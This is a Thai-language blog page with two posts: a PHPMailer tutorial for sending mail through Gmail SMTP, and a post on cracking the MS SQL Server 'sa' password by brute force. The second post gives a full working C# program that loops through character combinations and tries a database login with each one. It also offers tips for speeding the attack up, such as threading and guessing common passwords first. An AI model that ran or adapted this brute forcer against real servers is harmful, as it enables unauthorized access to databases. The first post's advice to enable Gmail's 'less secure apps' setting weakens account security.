\

Facebook


วันพฤหัสบดีที่ 13 พฤศจิกายน พ.ศ. 2557

[PHP] ส่งเมลล์ผ่าน Google ด้วย PHPMailer [อัพเดต2014]


อันดับแรกให้ไปดาว์นโหลด PHPMailer เว่อร์ชั่นล่าสุดมาก่อนครับ(ปีที่เขียน 2014) ตามลิ้งนี้ เเล้วหาไฟล์ที่มีชื่อว่า PHPMailerAutoload.php จากนั้นในโค๊ด php เราจะ require ไฟล์นี้เข้ามาเพื่อเรียกใช้ class PHPMailer

จากนั้นเข้าบัญชี Google Account เข้าไปที่แท็ป https://www.google.com/settings/security แล้วหาบ็อก Account permissions จากนั้นคลิก enable ตั้งค่าให้ Access for less secure apps เพื่อเป็นการอนุญาติให้ app ภายนอกเข้าใช้งาน account เราได้


เราสามารถเลือก encryption system ได้ 2 แบบนั้นคือ
- ssl Port 465 (SSL required)
- tls Port 587 (TLS required)

จากนั้นตั้งค่าตัวแปรที่จำเป็นให้คลาสดังนี้
$mail->Host คือ stmp server ของกูเกิ้ลที่ใช้ส่งอีเมลล์
$mail->SMTPAuth การพิสูจน์ตัวตนด้วย username password
$mail->Username ชื่อเมลล์ที่จะล็อกอินเพื่อส่ง
$mail->Password พาส
$mail->addAddress ชื่อผู้ส่ง
$mail->Subject หัวเรื่อง
$mail->msgHTML ไฟล์ html ที่จะส่งไปผ่านเมลล์
$mail->AltBody รายละเอียดเมลล์
$mail->addAttachment ไฟล์แนบ

โค๊ดตัวอย่างดังนี้ครับ

<?php
/**
 * This example shows settings to use when sending via Google's Gmail servers.
 */

//SMTP needs accurate times, and the PHP time zone MUST be set
//This should be done in your php.ini, but this is how to do it if you don't have access to that
date_default_timezone_set('Etc/UTC');

require '../PHPMailerAutoload.php';

//Create a new PHPMailer instance
$mail = new PHPMailer;

//Tell PHPMailer to use SMTP
$mail->isSMTP();

//Enable SMTP debugging
// 0 = off (for production use)
// 1 = client messages
// 2 = client and server messages
$mail->SMTPDebug = 2;

//Ask for HTML-friendly debug output
$mail->Debugoutput = 'html';

//Set the hostname of the mail server
$mail->Host = 'smtp.gmail.com';

//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission
$mail->Port = 587;

//Set the encryption system to use - ssl (deprecated) or tls
$mail->SMTPSecure = 'tls';

//Whether to use SMTP authentication
$mail->SMTPAuth = true;

//Username to use for SMTP authentication - use full email address for gmail
$mail->Username = "username@gmail.com";

//Password to use for SMTP authentication
$mail->Password = "yourpassword";

//Set who the message is to be sent from
$mail->setFrom('from@example.com', 'First Last');

//Set an alternative reply-to address
$mail->addReplyTo('replyto@example.com', 'First Last');

//Set who the message is to be sent to
$mail->addAddress('whoto@example.com', 'John Doe');

//Set the subject line
$mail->Subject = 'PHPMailer GMail SMTP test';

//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));

//Replace the plain text body with one created manually
$mail->AltBody = 'This is a plain-text message body';

//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');

//send the message, check for errors
if (!$mail->send()) {
    echo "Mailer Error: " . $mail->ErrorInfo;
} else {
    echo "Message sent!";
}


เพิ่มเติมเป็นเกร็ดความรู้ครับ เราสามารถตรวจสอบ log ของ gmail ได้ โดยจะแสดงการลงชื่อเข้าใช้แต่ละครั้งที่ตำแหน่งไหน และด้วย IP อะไร ซึ่งถ้ามีการลงชื่อจากแอพ หรือเหตุการณ์อะไรที่เป็นอันตรายกับบัญชีของเรา ก็จะแสดงให้เห็นด้วย ที่หน้าจอนี้
https://security.google.com/settings/security/activity



Hack พาสเวิร์ด MS SQL SERVER ด้วย BruteForce


"ถ้า server ตัวไหนที่อนุญาติให้ login เข้าระบบ และไม่สนใจว่าล็อกอินสำเร็จหรือไม่ โดยอนุญาติให้ลองล็อกอินเข้ามาใหม่เรื่อยๆ จะหนีไม่พ้นการแฮกแบบ brute force ครับ" เป็นเรื่องจริงที่ server จำเป็นต้องรักษาความปลอดภัยของข้อมูล ต้องการป้องกันการแฮกด้วย ซึ่งมักจะพบเห็นการป้องกันเบื้องต้นเช่น ให้ใส่ข้อความที่เห็น ให้บวกเลข ให้ล็อกอินผิดได้ไม่เกิน 3 ครั้ง คำถามคือ ถ้าไม่มีการป้องกันหล่ะ?

บทความนี้จะกล่าวถึงช่องโหว่(จริงๆเรียกช่องโหว่ไม่ได้ เรียกการมอบสิทธิเข้าถึงDB)อย่างนึงของ SQL SERVER ที่อนุญาติให้ connect เข้ากับ server ได้โดยไม่สนใจว่า username กับ password ที่ผู้ใช้กรอกเข้ามานั่นผิด ซึ่งผมทดลองกับยูเซอร์ SA เพราะมี permission ที่สูงที่สุด โดยวิธีที่ใช้คือ Brute Force เพื่อสร้าง connection string ขึ้นมาใหม่เรื่อยๆ จนกว่าจะได้ password ที่แท้จริง

Brute Force คือ?
อธิบายสั้นๆคือ "การสร้างชุดอักษร จากอักขระ ตัวเลข สัญลักษณ์ จากความเป็นไปได้ทั้งหมด เพื่อทดลองlog in เรื่อยๆ จนกว่าจะสำเร็จ" ซึ่งโอกาสที่จะสร้างชุดอักษรถูกนั้นมีแน่นอน 100% เเต่ต้องแลกมากับเวลาที่เสียไปกับpasswordที่ไม่ถูกต้อง ซึ่งวิธีนี้จะใช้เวลาแปรผันตรงกับระดับความซับซ้อนของ password ยิ่งซับซ้อน ยิ่งใช้เวลา
ดังนั้น หากไม่จำกัดเวลา หรือ จำนวนครั้งที่ login ยังไงก็โดยแฮกสำเร็จ

โค๊ดที่ผมเอามาเป็นตัวอย่าง สามารถสร้าง ชุดอักษรขึ้นมาและสร้าง connection string เพื่อร้องขอการเชื่อมต่อกับเซิฟเวอร์ ที่อธิบายโค๊ดได้เเบบนี้ครับ
1 สร้างชุดอักษร คือ การรวมอักขระ จากอาเรย์ตัวนึง -> เริ่มจาก a, b, c .... aa,ab,ac ... ไปเรื่อยๆ นี้คือหัวใจ Brute Force เลย

 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
 'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
 'F','G','H','I','J','K','L','M','N','O','P','Q','R',
 'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
 '6','7','8','9','0','!','$','#','@','-'

2 สร้าง connection string -> คือข้อความรูปแบบนึงที่ส่งเข้าไป MS SQL SERVER เพื่อตรวจสอบ connection ถ้ากรอกข้อมูลถูกต้อง ตัวเซิฟเวอร์เองก็จะสร้างการตอบกลับ เพื่อให้เราทำงานส่วนอื่นต่อ เเต่ถ้าไม่ก็จะตอบสนองเป็นข้อความการผิดพลาดประเภทต่างๆ

 "Data Source=source;Initial Catalog=databaseName;Persist Security Info=True;User ID=User; Password=Pass; "

3 การ Looping คือ การวน loop เพื่อทดสอบข้อ 1-2 ใหม่เรื่อยๆจนกว่าจะสำเร็จ ง่ายๆแค่นี้เอง

Server ที่ผมทดลอง สร้างด้วยพาสง่ายๆคือ "sa" ดังนั้น จึงใช้เวลาน้อยในการหาพาส แต่เอาพอเป็นแนวทางนะครับ ผมแค่อยากแนะเเนวทางการป้องกันมากกว่าให้มา แฮก ซะเอง แต่โปรแกรมนี้ก็แสดงให้รู้วาสามารถใช้ช่องโหว่เป็นวิธีแฮกได้อย่างไร ใครที่สนใจทำต่อสามารถปรับปรุงให้ไวมากขึ้นด้วยวิธีเหล่านี้ครับ

Source Code [c# console app]

using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace BruteForceSQLServer
{
    class Program
    {
        #region Private variables

        // the secret password which we will try to find via brute force
        //private static string password = "p123";
        private static string result;
        static Stopwatch stopwatch = new Stopwatch();
        private static bool isMatched = false;

        /* The length of the charactersToTest Array is stored in a
         * additional variable to increase performance  */
        private static int charactersToTestLength = 0;
        private static long computedKeys = 0;

        /* An array containing the characters which will be used to create the brute force keys,
         * if less characters are used (e.g. only lower case chars) the faster the password is matched  */
        private static  char[] charactersToTest =
    {
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
        'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
        'u', 'v', 'w', 'x', 'y', 'z','A','B','C','D','E',
        'F','G','H','I','J','K','L','M','N','O','P','Q','R',
        'S','T','U','V','W','X','Y','Z','1','2','3','4','5',
        '6','7','8','9','0','!','$','#','@','-'
    };

        #endregion

        static void Main(string[] args)
        {
            var timeStarted = DateTime.Now;
            Console.WriteLine("Start BruteForce - {0}", timeStarted.ToString());

            // The length of the array is stored permanently during runtime
            charactersToTestLength = charactersToTest.Length;

            // The length of the password is unknown, so we have to run trough the full search space
            var estimatedPasswordLength = 0;
           
            stopwatch.Start();
            while (!isMatched)
            {
                /* The estimated length of the password will be increased and every possible key for this
                 * key length will be created and compared against the password */

                
                estimatedPasswordLength++;
                startBruteForce(estimatedPasswordLength);


            }
            stopwatch.Stop();
            Console.WriteLine("Time Use : " + stopwatch.Elapsed);
            Console.WriteLine("Password matched. - {0}", DateTime.Now.ToString());
            Console.WriteLine("Time passed: {0}s", DateTime.Now.Subtract(timeStarted).TotalSeconds);
            Console.WriteLine("Resolved password: {0}", result);
            Console.WriteLine("Computed keys: {0}", computedKeys);

            Console.ReadLine();
        }

        #region Private methods

        /// <summary>
        /// Starts the recursive method which will create the keys via brute force
        /// </summary>
        /// <param name="keyLength">The length of the key</param>
        private static void startBruteForce(int keyLength)
        {
            var keyChars = createCharArray(keyLength, charactersToTest[0]);
            // The index of the last character will be stored for slight perfomance improvement
            var indexOfLastChar = keyLength - 1;
            createNewKey(0, keyChars, keyLength, indexOfLastChar);
        }

        /// <summary>
        /// Creates a new char array of a specific length filled with the defaultChar
        /// </summary>
        /// <param name="length">The length of the array</param>
        /// <param name="defaultChar">The char with whom the array will be filled</param>
        /// <returns></returns>
        private static char[] createCharArray(int length, char defaultChar)
        {
            return (from c in new char[length] select defaultChar).ToArray();
        }

        /// <summary>
        /// This is the main workhorse, it creates new keys and compares them to the password until the password
        /// is matched or all keys of the current key length have been checked
        /// </summary>
        /// <param name="currentCharPosition">The position of the char which is replaced by new characters currently</param>
        /// <param name="keyChars">The current key represented as char array</param>
        /// <param name="keyLength">The length of the key</param>
        /// <param name="indexOfLastChar">The index of the last character of the key</param>
        private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar)
        {
            var nextCharPosition = currentCharPosition + 1;
            // We are looping trough the full length of our charactersToTest array
            for (int i = 0; i < charactersToTestLength; i++)
            {
                /* The character at the currentCharPosition will be replaced by a
                 * new character from the charactersToTest array => a new key combination will be created */
                keyChars[currentCharPosition] = charactersToTest[i];

                // The method calls itself recursively until all positions of the key char array have been replaced
                if (currentCharPosition < indexOfLastChar)
                {
                    createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar);
                }
                else
                {
                    // A new key has been created, remove this counter to improve performance
                    computedKeys++;

                    /* The char array will be converted to a string and compared to the password. If the password
                     * is matched the loop breaks and the password is stored as result. */
                    #region Connect SQL

                    string connetionString = null;
                    SqlConnection cnn;
                    //connetionString = "Data Source=\SQLEXPRESS;User ID=sa;Password=" + new String(keyChars);
                    connetionString = "Data Source=SERVER;User ID=sa;Password=" +new String(keyChars);

                    cnn = new SqlConnection(connetionString);
                    try
                    {
                        cnn.Open();
                        Console.WriteLine("Connection Open ! ");
                        isMatched = true;
                        //result = new String(keyChars);
                        if (stopwatch.IsRunning)
                            stopwatch.Stop();
                        Console.WriteLine("Time Use : " + stopwatch.Elapsed);
                        Console.WriteLine("Password : " + new String(keyChars));
                        Console.Read();
                        cnn.Close();
                        return;

                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Can not open connection ! " + new String(keyChars));
                    }
                    #endregion
                }
            }
        }

        #endregion
    }
}
 
ปรับปรุงให้ไวขึ้นได้อย่างไร
1 สร้าง thread ขึ้นมาเพื่อ แบ่งภาระงาน งานจะเสร็จไวขึ้น
2 ไม่ต้องแสดง output ของโปรแกรม เเต่เราจะไม่ทราบเท่านั้นเองว่าโปแกรมทำงานถึงไหนแล้ว
3 จัดการ loop ให้มีประสิทธิภาพมากกว่านี้
4 เดา pass ที่พบบ่อยๆก่อน

 2weekTrain

May be like this posts